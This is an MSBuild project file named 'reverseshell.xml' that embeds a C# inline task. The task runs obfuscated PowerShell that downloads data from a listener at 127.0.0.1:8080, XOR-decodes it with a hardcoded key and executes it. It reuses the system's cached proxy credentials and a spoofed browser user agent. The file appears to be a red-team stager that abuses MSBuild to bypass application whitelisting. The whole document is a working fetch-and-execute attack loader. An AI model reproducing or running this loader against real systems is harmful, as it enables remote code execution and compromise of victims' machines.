reverseshell.xml

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 <!-- Author: Pierre-Alexandre Braeken, Twitter: @pabraeken -->
 <!-- Based on Casey Smith work (https://gist.github.com/subTee/ca477b4d19c885bec05ce238cbad6371), Twitter: @subTee  -->
  <Target Name="34rfas">
   <QWEridxnaPO />
  </Target>
	<UsingTask
    TaskName="QWEridxnaPO"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	<Task>
	  <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[		
			using System;
			using System.IO;
			using System.Diagnostics;
			using System.Reflection;
			using System.Runtime.InteropServices;
			using System.Collections.ObjectModel;
			using System.Management.Automation;
			using System.Management.Automation.Runspaces;
			using System.Text;
			using Microsoft.Build.Framework;
			using Microsoft.Build.Utilities;							
			public class QWEridxnaPO :  Task, ITask {
				public override bool Execute() {
					string pok = "$WC=NeW-OBJecT SyStem.NET.WEbCLIENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HeAders.ADd('User-Agent',$u);$Wc.ProxY = [SYsTem.NET.WEBREQUesT]::DEFAuLtWebPRoxy;$WC.PROxY.CrEdentIalS = [SYSteM.Net.CreDentialCACHe]::DEFAulTNETWOrkCrEdEnTialS;$K='daf00538a3dfee3f25671a3f9d076377';$i=0;[Char[]]$B=([char[]]($Wc.DownLoADSTriNG('http://127.0.0.1:8080/index.asp')))|%{$_-bXoR$K[$I++%$K.LENGTH]};IEX ($b-joiN'')";
					Runspace runspace = RunspaceFactory.CreateRunspace();
					runspace.Open();
					RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
					Pipeline pipeline = runspace.CreatePipeline();
					pipeline.Commands.AddScript(pok);
					pipeline.Invoke();
					runspace.Close();			
					return true;
				}								 
			}			
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>